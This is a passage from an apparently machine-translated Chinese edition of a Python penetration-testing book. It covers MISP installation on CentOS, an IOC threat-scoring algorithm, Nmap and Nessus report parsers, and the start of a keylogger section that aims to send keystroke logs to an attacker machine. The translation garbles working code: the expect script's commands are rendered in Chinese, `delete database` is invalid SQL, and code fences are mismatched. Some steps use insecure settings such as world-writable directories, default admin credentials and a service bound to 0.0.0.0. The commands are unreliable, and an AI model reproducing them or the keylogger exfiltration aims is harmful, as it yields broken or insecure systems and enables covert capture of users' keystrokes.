sudo -u apache $PATH_TO_MISP/venv/bin/pip install .

sudo systemctl restart rh-php71-php-fpm.service

```py

6.  To use the scheduler worker for scheduled tasks, perform the following commands:

sudo cp -fa /var/www/MISP/INSTALL/setup/config.php /var/www/MISP/app/Plugin/CakeResque/Config/config.php

  1. 设置权限如下:

如果您打算使用内置的后台作业,请安装 CakeResque 以及其依赖项:

确保使用以下命令作为 root 用户正确设置权限:

sudo chown -R root:apache /var/www/MISP

安装 redis

sudo chmod -R g+r,o= /var/www/MISP

sudo chmod -R 750 /var/www/MISP

sudo chmod -R g+ws /var/www/MISP/app/tmp

sudo chmod -R g+ws /var/www/MISP/app/files

sudo chown -R apache:apache /var/www/MISP

sudo chown apache:apache /var/www/MISP/app/files

sudo mkdir /usr/share/httpd/.cache

sudo chown apache:apache /var/www/MISP/app/files/scripts/tmp

sudo chown apache:apache /var/www/MISP/app/Plugin/CakeResque/tmp

sudo chown -R apache:apache /var/www/MISP/app/Config

sudo chown -R apache:apache /var/www/MISP/app/tmp

sudo chown -R apache:apache /var/www/MISP/app/webroot/img/orgs

sudo chown -R apache:apache /var/www/MISP/app/webroot/img/custom

  1. 按如下方式创建数据库和用户:
```bash

# 启用,启动和保护您的 mysql 数据库服务器

sudo systemctl enable mariadb.service

sudo systemctl start mariadb.service

sudo yum install expect -y

# 如果需要,添加您的凭据,如果 sudo 有 NOPASS,请注释掉相关行

#pw="Password1234"

期望 -f - <<-EOF

设置超时时间为 10

生成 sudo mysql_secure_installation

#期望"*?assword*"

#发送 -- "$pw\r"

期望"输入 root 的当前密码(不输入则为空):"

发送 -- "\r"

期望"设置 root 密码?"

发送 -- "y\r"

期望"新密码:"

发送 -- "${DBPASSWORD_ADMIN}\r"

期望"重新输入新密码:"

发送 -- "${DBPASSWORD_ADMIN}\r"

期望"删除匿名用户?"

发送 -- "y\r"

期望"禁止远程 root 登录?"

发送 -- "y\r"

期望"删除测试数据库和对其的访问权限?"

发送 -- "y\r"

期望"现在重新加载权限表?"

发送 -- "y\r"

期望 eof

EOF

sudo yum remove tcl expect -y

# 此外,让数据库服务器只在本地侦听可能是一个好主意

echo [mysqld] |sudo tee /etc/my.cnf.d/bind-address.cnf

echo bind-address=127.0.0.1 |sudo tee -a /etc/my.cnf.d/bind-address.cnf

sudo systemctl restart mariadb.service

# 进入 mysql shell

mysql -u root -p

```py

MariaDB [(none)]> create database misp;

MariaDB [(none)]> grant usage on . to misp@localhost identified by 'XXXXXXXXX';

MariaDB [(none)]> grant all privileges on misp.* to misp@localhost ;

MariaDB [(none)]> 退出

#### copy/paste:
```bash

sudo mysql -u $DBUSER_ADMIN -p$DBPASSWORD_ADMIN -e "create database $DBNAME;"

sudo mysql -u $DBUSER_ADMIN -p$DBPASSWORD_ADMIN -e "grant usage on *.* to $DBNAME@localhost identified by '$DBPASSWORD_MISP';"

sudo mysql -u $DBUSER_ADMIN -p$DBPASSWORD_ADMIN -e "grant all privileges on $DBNAME.* to '$DBUSER_MISP'@'localhost';"

sudo mysql -u $DBUSER_ADMIN -p$DBPASSWORD_ADMIN -e "flush privileges;"

```py
  1. MYSQL.sql导入空的 MySQL 数据库如下:
```bash sudo -u apache cat $PATH_TO_MISP/INSTALL/MYSQL.sql | mysql -u $DBUSER_MISP -p$DBPASSWORD_MISP $DBNAME

```py
  1. 接下来,配置您的 Apache 服务器:
!!! notice
SELinux note, to check if it is running:
```bash

$ sestatus

SELinux 状态:已禁用

```py
If it is disabled, you can ignore the **chcon/setsebool/semanage/checkmodule/semodule*** commands.

!!! warning
This guide only copies a stock **NON-SSL** configuration file.

```bash

# 现在使用 DocumentRoot /var/www/MISP/app/webroot/配置您的 apache 服务器

# 可以在/var/www/MISP/INSTALL/apache.misp.centos7 中找到一个示例 vhost

sudo cp /var/www/MISP/INSTALL/apache.misp.centos7.ssl /etc/httpd/conf.d/misp.ssl.conf

# 如果服务器尚未创建有效的 SSL 证书,请创建自签名证书:

sudo openssl req -newkey rsa:4096 -days 365 -nodes -x509 \

-subj "/C=${OPENSSL_C}/ST=${OPENSSL_ST}/L=${OPENSSL_L}/O=${OPENSSL_O}/OU=${OPENSSL_OU}/CN=${OPENSSL_CN}/emailAddress=${OPENSSL_EMAILADDRESS}" \

-keyout /etc/pki/tls/private/misp.local.key -out /etc/pki/tls/certs/misp.local.crt

# 由于启用了 SELinux,我们需要允许 httpd 写入某些目录

sudo chcon -t usr_t /var/www/MISP/venv

sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/files

sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/files/terms

sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/files/scripts/tmp

sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/Plugin/CakeResque/tmp

sudo chcon -R -t usr_t /var/www/MISP/venv

sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/tmp

sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/tmp/logs

sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/webroot/img/orgs

sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/webroot/img/custom

```py

!!! warning
Revise all permissions so update in Web UI works.

```bash

sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/tmp

# 允许 httpd 通过 tcp/ip 连接到 redis 服务器和 php-fpm

sudo setsebool -P httpd_can_network_connect on

# 启用并启动 httpd 服务

sudo systemctl enable httpd.service

sudo systemctl start httpd.service

# Open a hole in the iptables firewall

sudo firewall-cmd --zone=public --add-port=80/tcp --permanent

sudo firewall-cmd --zone=public --add-port=443/tcp --permanent

sudo firewall-cmd --reload

# We seriously recommend using only HTTPS / SSL !

# Add SSL support by running: sudo yum install mod_ssl

# Check out the apache.misp.ssl file for an example

```py
 !!! warning
 To be fixed - Place holder 
  1. To rotate these logs, install the supplied logrotate script:
```bash

# MISP saves the stdout and stderr of it's workers in /var/www/MISP/app/tmp/logs

# To rotate these logs install the supplied logrotate script:

sudo cp $PATH_TO_MISP/INSTALL/misp.logrotate /etc/logrotate.d/misp

sudo chmod 0640 /etc/logrotate.d/misp

# Now make logrotate work under SELinux as well

# Allow logrotate to modify the log files

sudo semanage fcontext -a -t httpd_log_t "/var/www/MISP/app/tmp/logs(/.*)?"

sudo chcon -R -t httpd_log_t /var/www/MISP/app/tmp/logs

# Allow logrotate to read /var/www

sudo checkmodule -M -m -o /tmp/misplogrotate.mod $PATH_TO_MISP/INSTALL/misplogrotate.te

sudo semodule_package -o /tmp/misplogrotate.pp -m /tmp/misplogrotate.mod

sudo semodule -i /tmp/misplogrotate.pp

```py
  1. Run the following script to configure the MISP instance:
```bash

# There are 4 sample configuration files in $PATH_TO_MISP/app/Config that need to be copied

sudo -u apache cp -a $PATH_TO_MISP/app/Config/bootstrap.default.php $PATH_TO_MISP/app/Config/bootstrap.php

sudo -u apache cp -a $PATH_TO_MISP/app/Config/database.default.php $PATH_TO_MISP/app/Config/database.php

sudo -u apache cp -a $PATH_TO_MISP/app/Config/core.default.php $PATH_TO_MISP/app/Config/core.php

sudo -u apache cp -a $PATH_TO_MISP/app/Config/config.default.php $PATH_TO_MISP/app/Config/config.php

echo "<?php;?>

class DATABASE_CONFIG {

public \$default = array(

'datasource' => 'Database/Mysql',

//'datasource' => 'Database/Postgres',

'persistent' => false,

'host' => '$DBHOST',

'login' => '$DBUSER_MISP',

'port' => 3306, // MySQL & MariaDB

//'port' => 5432, // PostgreSQL

'password' => '$DBPASSWORD_MISP',

'database' => '$DBNAME',

'prefix' => '',

'encoding' => 'utf8',

);

}" | sudo -u apache tee $PATH_TO_MISP/app/Config/database.php

# Configure the fields in the newly created files:

# config.php : baseurl (example: 'baseurl' => 'http://misp',) - don't use "localhost" it causes issues when browsing externally

# core.php : Uncomment and set the timezone: `// date_default_timezone_set('UTC');`

# database.php : login, port, password, database

# DATABASE_CONFIG has to be filled

# With the default values provided in section 6, this would look like:

# class DATABASE_CONFIG {

# public $default = array(

# 'datasource' => 'Database/Mysql',

# 'persistent' => false,

# 'host' => 'localhost',

# 'login' => 'misp', // grant usage on *.* to misp@localhost

# 'port' => 3306,

# 'password' => 'XXXXdbpasswordhereXXXXX', // identified by 'XXXXdbpasswordhereXXXXX';

# 'database' => 'misp', // create database misp;

# 'prefix' => '',

# 'encoding' => 'utf8',

# );

#}

```py

Change the salt key in `/var/www/MISP/app/Config/config.php`. The admin user account will be generated on the first login; make sure that the salt is changed before you create that user. If you forget to do this step, and you are still dealing with a fresh installation, just alter the salt.
Delete the user from MYSQL and log in again using the default admin credentials (`admin@admin.test/admin`).

13.  If you want to change the configuration parameters from the web interface, run the following script and proceed by generating a GPG encryption key:

sudo chown apache:apache /var/www/MISP/app/Config/config.php

sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/Config/config.php

Generate a GPG encryption key.

cat >/tmp/gen-key-script <<EOF

%echo Generating a default key

Key-Type: default

Key-Length: $GPG_KEY_LENGTH

Subkey-Type: default

Name-Real: $GPG_REAL_NAME

Name-Comment: $GPG_COMMENT

Name-Email: $GPG_EMAIL_ADDRESS

Expire-Date: 0

Passphrase: $GPG_PASSPHRASE

Do a commit here, so that we can later print "done"

%commit

%echo done

EOF

sudo gpg --homedir /var/www/MISP/.gnupg --batch --gen-key /tmp/gen-key-script

sudo rm -f /tmp/gen-key-script

sudo chown -R apache:apache /var/www/MISP/.gnupg

And export the public key to the webroot

sudo gpg --homedir /var/www/MISP/.gnupg --export --armor $GPG_EMAIL_ADDRESS |sudo tee /var/www/MISP/app/webroot/gpg.asc

sudo chown apache:apache /var/www/MISP/app/webroot/gpg.asc

Start the workers to enable background jobs

sudo chmod +x /var/www/MISP/app/Console/worker/start.sh

sudo -u apache $RUN_PHP /var/www/MISP/app/Console/worker/start.sh

if [ ! -e /etc/rc.local ]

then

echo '#!/bin/sh -e' | sudo tee -a /etc/rc.local

echo 'exit 0' | sudo tee -a /etc/rc.local

sudo chmod u+x /etc/rc.local

fi

sudo sed -i -e '$i \su -s /bin/bash apache -c "scl enable rh-php71 /var/www/MISP/app/Console/worker/start.sh" > /tmp/worker_start_rc.local.log\n' /etc/rc.local

确保它将被执行

sudo chmod +x /etc/rc.local

echo "Admin (root) DB Password: $DBPASSWORD_ADMIN"

echo "User (misp) DB Password: $DBPASSWORD_MISP"

一些 misp-modules 依赖项

sudo yum install -y openjpeg-devel

sudo chmod 2777 /usr/local/src

sudo chown root:users /usr/local/src

cd /usr/local/src/

git clone https://github.com/MISP/misp-modules.git

cd misp-modules

pip install

sudo -u apache $PATH_TO_MISP/venv/bin/pip install -I -r REQUIREMENTS

sudo -u apache $PATH_TO_MISP/venv/bin/pip install .

sudo yum install rubygem-rouge rubygem-asciidoctor -y

sudo gem install asciidoctor-pdf --pre

安装 STIX2.0 库以支持 STIX 2.0 导出:

sudo -u apache $PATH_TO_MISP/venv/bin/pip install stix2

安装扩展对象生成和提取的其他依赖项

sudo -u apache ${PATH_TO_MISP}/venv/bin/pip install maec lief python-magic pathlib

sudo -u apache ${PATH_TO_MISP}/venv/bin/pip install git+https://github.com/kbandla/pydeep.git

启动 misp-modules

sudo -u apache ${PATH_TO_MISP}/venv/bin/misp-modules -l 0.0.0.0 -s &

sudo sed -i -e '$i \sudo -u apache /var/www/MISP/venv/bin/misp-modules -l 127.0.0.1 -s &\n' /etc/rc.local

 {!generic/MISP_CAKE_init_centos.md!}
 {!generic/INSTALL.done.md!}
 {!generic/recommended.actions.md!}
 {!generic/hardening.md!}

威胁评分能力

一旦所有依赖关系都得到解决,并且工具设置好了,我们将需要通过增强 MISP 后端系统来扩展 IOC 威胁评分能力。值得注意的是,MISP 并不具备开箱即用的威胁评分能力,这是 SIEM 的一个非常重要的功能。我们对 MISP 后端系统/代码库所做的改进是确保我们可以在 MISP 之上构建 IOC 威胁评分能力。为了适应这一点,我们在后端创建了一个名为threat_scoring的表。该表记录了每个 IOC 的适当威胁评分。

设置数据库后,让我们打开 MySQL 控制台,并按以下方式删除 MISP 数据库:

mysql -u <username> -p <password>
delete database misp;
create database misp;
exit

一旦我们执行这些命令,我们现在需要将修改后的数据库模式添加到新创建的misp数据库中。可以按以下方式将其添加到后端系统中:

mysql -u <username> -p misp < mod_schema.sql

执行上述命令后,我们将拥有 MISP 后端数据库的更新实例。mod_schema.sql 可以在本章的 GITHUB URL 中找到。

MISP UI 和 API

MISP 具有基于 PHP 的前端,可以通过 Web 浏览器访问。它带有许多重要功能。您可以参考原始网站,了解所有这些功能的完整概念:www.misp-project.org/。在本节中,让我们看看一些关键功能,这些功能将让我们了解如何使用 MISP 实施威胁情报并收集 IOCs。

一旦我们登录到门户,我们可以转到源选项卡,查看 MISP 中预先配置的源。值得注意的是,源只是提供 JSON、CSV、XML 或平面文件格式的 IOCs 的基于 Web 的本地来源。MISP 中预先配置了各种源。一旦我们安排了源收集作业,MISP 的中央引擎就会访问所有配置的源,从中提取 IOCs,并将它们放入中央数据库,如下图所示:

如前面的屏幕截图所示,我们可以转到添加源选项卡,并从那里配置更多的源。

在下面的屏幕截图中,我们可以看到从配置的源下载和解析源的中央调度程序。我们可以选择一天、一周或一年中的任何时间,指示我们希望何时下载源。我们还可以配置调度程序重复的频率:

我们将专注于前面截图中的突出显示的行。在第二行,我们有一个fetch_feeds作业。双击频率和计划时间/日期字段可以让我们更改设置。此外,应该注意到前面突出显示的threat_scoring行不是 MISP 的默认安装内容。我们通过修改后端数据库注入了这个(我们在改进部分中介绍了这一点)。

一旦订阅被下载和解析,它们被放置在一个虚拟/逻辑实体中,称为事件。MISP 中的事件可以被视为 IOC 的集合。我们可以为不同的订阅创建单独的事件。或者,我们可以将所有基于 IP 的 IOC 放入单独的事件中,域名等等。以下截图显示了事件集合:

如果我们点击前面截图中任何一个事件的详细信息图标,我们将看到该特定事件实际持有的 IOC。这在以下截图中显示:

MISP API(PyMISP)

如前所述,MISP 配备了一个非常稳定的 API,我们可以通过它在 MISP 中获取事件和被称为属性的 IOC,并与我们的安全工具共享。API 需要设置身份验证密钥。身份验证密钥可以在用户通过 MISP Web 门户登录时找到。这里展示了如何使用 MISP API 从 MISP 后端数据库获取特定事件的详细信息的示例:

MISP API 的完整详情可以在以下链接找到:github.com/MISP/PyMISP/tree/2c882c1887807ef8c8462f582415470448e5d68c/examples

在前面的代码片段中,我们只是在第 31 行初始化了 MISP API 对象,并调用了get_api API 方法。前面的代码可以按如下方式运行:

如前面的截图所示,我们得到了与1512事件 ID 相关联的所有 IOC。如果我们指定out参数,输出也可以保存在 JSON 文件中。

威胁评分

正如我们之前讨论过的,威胁评分是威胁情报的一个非常重要的部分。通常收集到数百万个 IOC,它们通常包含大量的误报。如果这些信息直接输入到 SIEM 工具中,将导致大量的误报警报。为了解决这个问题,我们尝试编写一个算法,该算法在 MISP 收集的 IOC 之上工作,并为每个 IOC 关联一个威胁评分。这个想法是,在 10 分制上得分为五分或更高的 IOC 更有可能是真正恶意的 IOC,并且应该输入到 SIEM 中。这个算法工作的威胁评分标准如下所示:

  • 日期:IOC 的日期占 30%的权重。如果一个 IOC 是一到三个月前的,它将获得 30%的全部 100%,即 3 分。如果是四个月前,它将获得 90%,或 2.9 分,依此类推。完整的细节将在下一节中给出。

  • 相关性:IOC 的相关性计数占权重的 54%。我们所说的相关性是指在多个事件或多个数据源中出现的频率。假设我们配置了 30 个数据源,每个数据源的 IOC 都会进入不同的事件,结果就是 30 个事件。现在,如果有一个 IOC 在所有 30 个事件中都出现,这表明该 IOC 极有可能是高度恶意的,因为有 30 个不同的来源引用了它。这个 IOC 将获得相关性分配的整个 54%权重,即 5.4 分。如果一个 IOC 出现在 90%的配置数据源中,它将获得相应数量的分数。相关性权重的实际分配将在以下部分给出。

  • 标签:许多 IOC 数据源会使用与其关联的活动类型对 IOC 进行标记,例如扫描、僵尸网络和钓鱼网站。标签所占权重为 15%。需要注意的是,该部分根据与 IOC 关联的标签数量而非标签类型进行工作。标签数量越多,占 15%权重的分数就越高。

  • 评论:最后,剩下的 1%分配给标签部分。一些 IOC 也带有特定的评论。如果一个 IOC 有相关评论,它将获得整个 1%,即 0.1 分,如果没有,它在这一部分将获得 0 分。

威胁评分加权文件

这些标准并未硬编码在程序逻辑中,而是在 JSON 文件中配置,以便用户可以随时更改它们,代码将获取更新后的值并相应地分配分数。我们在 JSON 文件中设置了以下值:

如前面的截图所示,标签的权重为 15%。这在 8-12 行进一步分配。第 8 行表示任何具有最少五个标签和最多 10,000 个标签的 IOC 将获得整个 15%。第 9 行表示任何具有四个标签的 IOC 将获得 15%的 90%,依此类推。

日期也有类似的分配。最多 30 分,任何 0 到 90 天的 IOC 都将获得整个 30 分的 100%,即 3 分。任何 91-100 天的 IOC 将获得 30 分的 90%,即 2.7 分,依此类推。

相关性的权重为 54%,如下截图所示。在相关性的情况下,权重的分配有些不同。第 41 行的数字 35 并不表示绝对数量,而是一个百分比。这意味着在配置的总数据源中,如果一个 IOC 在 35%的数据源或事件中被发现,那么它应该获得整个 5.4 分。其他行可以类似地解释。

最后,还有 1%的权重分配给 IOC 是否带有任何评论:

威胁评分算法

看一下我们编写的以下代码,用于对 MISP IOC 集合进行威胁评分。完整的代码可以在以下链接找到:github.com/PacktPublishing/Hands-On-Penetration-Testing-with-Python

让我们试着理解到目前为止编写的代码。这段代码利用了我们在本书中学到的概念。其想法是从 MISP attributes后端表中读取所有 IOCs,并根据之前讨论的逻辑为每个 IOCs 赋予威胁分数。现在,有数百万个属性,所以如果我们尝试按顺序读取它们并对它们进行评分,将需要很长时间。这就是 Python 在多进程方面的优势所在。我们将读取所有属性,并根据底层机器的处理器核心将属性分成相等的块。每个处理器核心将一次性处理一个块。它还将为属于该块的 IOCs 分配威胁分数。我使用的硬件具有 8GB 的 RAM 和 4 核处理器。

假设我们总共有 200 万个属性,这些属性将被分成四个块,每个块将包含 50 万个属性。评分过程将由专用处理器核心在该块上执行。如果对 200 万个块进行顺序操作需要 4 小时,那么多进程方法将需要 1 小时。在 40 和 51 行之间编写的逻辑负责确定我们将使用的块的总数。它还包含推断块大小的逻辑,如下截图所示:

应该注意的是,在第 5 行导入的模块from DB_Layer.Misp_access import MispDB代表一个名为MISPDB的自定义类,声明在MISP_access.py模块中。该类具有从misp数据库中提取数据的原始 SQL 代码。

在 54 和 56 行之间,我们将块放入一个名为limit_offset的自定义列表中。假设我们在后端数据库表中有 200 万个属性。在第 56 行之后,该列表将更新如下:

limit_offset=[{"offset":0,"limit":500000},{"offset":500000,"limit":500000},{"offset":1000000,"limit":500000},{"offset":1500000,"limit":500000}]

在 61 和 64 行之间,我们为每个块调用一个单独的进程。进程将执行的方法是StartProcessing(),我们将当前块作为参数传递。在剩余的 69-97 行中,我们正在更新状态以将状态代码返回给调用UpdateThreatScore()方法的代码。让我们来看一下处理器核心执行的方法:

以下代码的核心逻辑位于第 186 行,代码接受当前块并调用self.Scoring()方法。该方法通过组合每个属性的标签、相关性、日期和注释威胁分数产生威胁分数。最后,一旦获得累积分数,它将更新后端threat_scoring数据库表。这在下面的片段中显示:

如图所示,Scoring()方法在 130-133 行下进一步调用四种不同的方法。它将分数总结并将其推送到数据库表中。让我们看一下它调用的四种方法:

如下截图所示,所有四种方法都从 JSON 文件中读取配置值,并将它们传递给一个名为ComputeScore的公共方法,该方法最终根据传递的配置值计算分数并返回计算出的分数:

以下代码将所有部分连接在一起并返回计算出的分数。该代码将在单独的处理器核心上并行调用所有块:

最后,我们将创建该类的对象并调用Update方法,如下所示:

ob=ThreatScore()
ob.UpdateThreatScore()

执行代码

整个代码可以在以下 GitHub 存储库中找到,github.com/PacktPublishing/Hands-On-Penetration-Testing-with-Python,并且可以按如下方式调用:

python3.6 TS.py

该代码将所有执行和调试消息放入一个log文件中,该文件将自动在相同的文件夹中创建,并称为TS.log。一旦代码成功执行,它将具有以下内容:

当代码执行时,有四个并行的读/写操作在数据库上执行,因为每个处理器核心将分别读取和写入。如下图所示:

可以看到,有四个名为misp的用户帐户正在尝试同时从数据库中读取和写入。

以下屏幕截图表示了威胁评分表的架构:

以下屏幕截图显示了 IOC 的威胁评分。

以下屏幕截图显示了一些 IP 地址:

STIX 和 TAXII 和外部查找

STIX 和 TAXII 术语在威胁情报领域中经常被使用。我们将尝试使用以下示例来理解它是什么。

假设我们有一个名为 A 的组织,它拥有大量的威胁情报数据。数据来自外部源以及内部威胁情报数据。组织 A 是一家银行组织,使用平台 X 来存储和管理他们的威胁情报数据。现在,组织 A 希望通过与银行部门中的其他组织(如 B 和 C 组织)共享他们的威胁情报数据来帮助银行社区。他们也希望其他组织也分享他们的数据。问题是,虽然组织 A 使用平台 X 来管理他们的威胁情报数据,但组织 B 和 C 使用完全不同的平台。那么组织 A 如何与 B 和 C 分享其情报呢?这就是 STIX 和 TAXII 派上用场的地方。

STIX 和 TAXII 通过提供一个使用通用格式存储和检索情报的平台来解决威胁情报共享的问题。例如,如果组织 X 需要使用属于组织 Y 的网站,它们将通过组织 Y 使用的 Web 服务器上的 HTTP/HTTPS 协议进行。 HTTP 是由 Web 服务器提供的基于 Web 的信息的通信模式。同样,STIX 是用于交换威胁情报数据的协议,并由称为 TAXII 服务器的服务器提供。TAXII 服务器能够理解 STIX 内容并将其提供给客户端。在细粒度上,STIX 的内容只是一个 XML 文档,它以一定的方式格式化,并带有符合 STIX 格式的特定标记,以便 TAXII 服务器能够理解。这意味着所有使用 TAXII 服务器的组织都将能够在 STIX 协议下共享威胁情报数据。

MISP 还具有与 TAXII 服务器集成的能力。通过 TAXII 服务器在 MISP 中共享的内容被放置在 TAXII 服务器的数据库中,以及在 MISP 数据库中。要获取有关 MISP 和 TAXII 服务器集成的完整详细信息,请参阅官方网址:github.com/MISP/MISP-Taxii-Server

TAXII 服务器有用 Python 编写的客户端,这使得集成无缝且非常容易。就像市场上有不同的 Web 服务器,例如 Apache、nginx 和 Tomcat 一样,TAXII 服务器有一些不同的实现,包括以下内容:

我们可以在官方 GitHub 存储库中了解每个的功能。了解哪些实现具有哪些功能对您将会很有用。

外部查找

有许多付费和开源的外部查找网站暴露了获取有关 IOC 信息的 API。其中一些最著名的包括以下内容:

其中许多都暴露了 API,可以完全自动化 IOC 查找的过程。例如,让我们看一下通过 Cymon 暴露的 API 自动化 IOC 查找的以下代码片段:

import requests 
from urllib.parse import urljoin
from urllib.parse import urlparse
cymon_url='https://api.cymon.io/v2/ioc/search/'
type_="ip-src"
ip="31.148.219.11"
if type_ in ["ip-src","ip-dst","domain|ip","ip-dst|port","ip-src|port","ip"]:
 cymon_url=urljoin(cymon_url,"ip/")
 cymon_url=urljoin(cymon_url,ip)
response = requests.get(cymon_url, data={},  headers=headers)
print(response)

我们可以在这些网站上搜索并阅读 API 文档,以便自动化 IOC 针对这些网站的查找过程。

总结

在本章中,我们探讨了 Python 在防御安全中的用途。应该注意的是,我们只捕捉了 Python 在防御安全中的一小部分用途。还有许多其他用途,包括编排、自动化重复任务、开发将 IDS/IPS 签名与 Qualys/Nessus CVE 相关联的脚本。本章奠定了 Python 的用途基础,我鼓励读者进行进一步研究。

在下一章中,我们将看到一些其他常见的网络安全用例,其中 Python 非常方便。

问题

  1. 我们如何进一步改进威胁评分算法?

  2. 我们能否使用先前讨论过的威胁评分代码与基于 Python 的调度程序?

进一步阅读

第十五章:Python 的其他奇迹

网络安全是一个广阔而不断增长的领域。到目前为止,在本书中,我们已经讨论了 Python 在其中发挥作用的各种用例。读者可以利用这些知识来探索 Python 可以在网络安全领域中应用的更多场景。在本章的结束部分,我们将尝试介绍一些其他可以使用 Python 的方式。我们将看看以下内容:

  • 使用 Python 解析 Nessus 和 Nmap 报告

  • 在 Python 中编写自定义的 Linux 和 Windows 键盘记录器,并在网络上共享日志

  • 解析推特推文

  • 提取浏览器保存的密码

  • 无需防病毒持久性外壳

  • 绕过基于主机的防火墙

报告解析器

报告解析器是为了解析报告或文件而编写的一段代码。在这种情况下讨论的文件是 Nessus 和 Nmap 文件。每个的详细描述和功能在以下部分中都有涵盖。

Nmap 解析器

Nmap 以各种格式(文本、CSV 和 XML)生成输出。在本节中,我们将学习如何快速轻松地解析 XML 格式的 Nmap 报告文件。我们可以使用两种方法来做到这一点:

  • 第一种方法是从头开始构建解析器,并使用我们在第四章中讨论的相同概念,即 XML 解析。

  • 第二种推荐的方法是避免重复造轮子。在开发 Python 的任何自动化解决方案之前,养成在互联网上搜索的习惯。Python 拥有令人惊叹的社区支持,有许多不仅在网络安全领域,而且在其他更一般的用例中提供现成解决方案的不同模块。让我们使用其中一个预先构建的 Python 模块。我们将安装libnmap Python 模块,如下所示:

pip3 install python-libnmap

接下来,创建一个名为nmap_parser.py的文件,并将以下代码放入其中:

上述代码非常容易理解。我们正在创建一个类并将其命名为nmap_parser。在类的构造函数中,我们使用文件路径初始化了一个self.report_file实例变量,其中包括报告的名称,用户应该将其作为脚本的第一个参数传递。

在第 9 行,我们初始化了NmapParser类的实例,并传递了我们希望解析的文件的路径。它返回NmapObject,我们将进一步迭代以获得结果。在第 11 行,我们从先前创建的NmapObject中提取hosts()列表,之前的代码中称为report。值得注意的是,虽然NmapObject返回一个列表,但每个列表元素都是host()类的对象,该模块通过适当地映射文件中的主机标签来内部创建。

在第 13 行,我们使用is_up()方法检查当前正在迭代的主机是否存活。在第 15 行,我们提取主机的所有开放端口。该方法返回一个列表,在第 18 行我们对其进行迭代。它使用的内部格式是[("22","ssh"),("21","ftp")]

在第 20 行,我们调用了host.get_service方法,该方法返回服务类的实例。它期望传递端口和服务名称作为参数。

最后,在第 21 行和第 26 行之间,通过调用适当的实例变量和实例方法打印所有相关信息。

该模块的完整 API 文档可以在官方网站上找到:libnmap.readthedocs.io/en/latest/index.html

运行代码

要运行代码,我们需要将其作为普通的 Python 脚本调用。但是,我们还需要传递我们希望解析的 Nmap 文件的路径/名称作为参数。我已经取了一个样本文件nmap.xml,它位于与我们的解析器代码相同的路径上。该文件包含针对多个主机进行的扫描报告。用于生成输出文件的nmap命令如下所示:

nmap -Pn -sS -sV -vv --max-retries 3 --max-rtt-timeout 1000ms --top-ports 1000 -oA nmap 10.228.24.1-64 

报告的截图如下:

让我们使用以下命令运行解析器代码,看看它产生的输出:

python3.5 nmap_parser.py nmap.xml

nmap.xml是放置在与解析器代码相同文件夹中的文件的名称。如果您的report文件位于不同的路径,请将绝对路径作为脚本的参数。

所获得的输出如下所示:

Nessus 解析器

Nessus 还以各种格式(CSV、XML、DB 文件、JSON、HTML 等)生成输出。在本节中,我们将了解如何快速轻松地解析 XML 格式的 Nessus 报告文件。同样,我们可以手动创建自定义解析器,也可以使用现成的 Python 模块来完成工作,这对我们来说非常方便。按照以下所示安装所需的模块:

pip3 install python-libnessus

接下来,创建一个名为Nessus_parser.py的文件,并将以下代码放入其中:

上述代码非常容易理解。我们正在创建一个名为Nessus_parser的类,并调用它。在类的构造函数中,我们正在用包括报告名称在内的文件路径初始化一个实例变量self.n_file,用户应该将其作为脚本的第一个参数传递。

在第 30 行,我们初始化了NessusParser类的实例,并传递了我们希望解析的文件的路径。它返回NessusObject,我们将进一步迭代以获得结果。在第 35 行,我们简单地调用demo_print()方法,并将NessusObject()实例传递给它,其中包含我们希望迭代的主机列表。在第 12 行和第 25 行之间,我们简单地迭代 Nessus 主机实例并打印相关信息。Nessus 解析器与我们之前讨论的 Nmap 解析器非常相似。

该类的完整 API 详细信息可以在官方网站找到:libnessus.readthedocs.io/en/stable/

运行代码

要运行代码,我们需要将其作为普通的 Python 脚本调用,但是我们还需要传递我们希望解析的 Nessus 文件的路径/名称作为参数。我已经取了一个样本文件report.nessus,它位于与我们的解析器代码相同的路径上。该文件包含针对多个主机进行的扫描报告。

报告的截图如下所示:

让我们使用以下命令运行解析器代码,看看它产生的输出:

python3.5 Nessus_parser.py report.nessus

report.nessus是放置在与解析器代码相同文件夹中的文件的名称。如果您的报告文件位于不同的路径,请将绝对路径作为脚本的参数。

所获得的输出如下所示:

需要自定义解析器

我发现这些自定义解析器非常方便的一个典型用例是在客户参与过程中。在每次典型的渗透测试之后,渗透测试人员通常会整合所有 Nessus 报告发现、Nmap 输出以及手动利用生成的 POC,并将它们放入客户创建的自定义 Excel 模板中,或者使用公司的报告生成门户来生成一个综合报告。前面讨论的方法可以用来自动化这个过程。使用我们讨论过的概念,我建议读者制作一个通用的报告生成模块,该模块将整合来自 Nmap 和 Nessus 的发现,并且还将考虑自定义 POC 截图以生成 Excel 和 PDF 格式的报告。

键盘记录器和通过套接字的外泄

键盘记录器是一种臭名昭著的软件,记录用户按下的所有按键。它在后台作为操作系统进程静默运行。它们能够记录用户密码、浏览历史、机密数据等等。有许多免费可用的键盘记录器,可以立即使用。在本节中,我们将看到如何在 Python 中创建一个强大的自定义键盘记录器。自定义键盘记录器总是更好的,因为我们可以根据自己的需求进行定制。

Python 自带一个非常强大的模块,称为 pyHook,适用于 Windows,还有一个在此模块基础上进行修改以支持基于 Linux 的系统的模块,称为pyxhook。互联网上有大量关于pyhook基于 Windows 的 Python 键盘记录器用法的教程,但关于 Linux 版本的教程并不多。在本节中,我们将专注于基于 Linux 的键盘记录器。我还将提供一个适用于 Windows 模块的简单代码片段。

本节的目标是模拟真实的攻击场景,因此我们的键盘记录器不仅会将按键保存在文件中,还会在特定时间间隔内将生成的日志发送到攻击者机器。我们将探讨我们之前所看到的与套接字编程相关的概念在这里是如何非常有用的。

让我们从 GitHub 存储库中安装键盘记录器模块的 Linux 版本:

git clone https://github.com/JeffHoogland/pyxhook.git

如果您想安装 Python 键盘记录器的 Windows 版本,并且您在 Windows 环境中工作,可以使用pip来实现,如下所示:

pip install pyhook

pyxhook - 基于 Linux 的键盘记录器

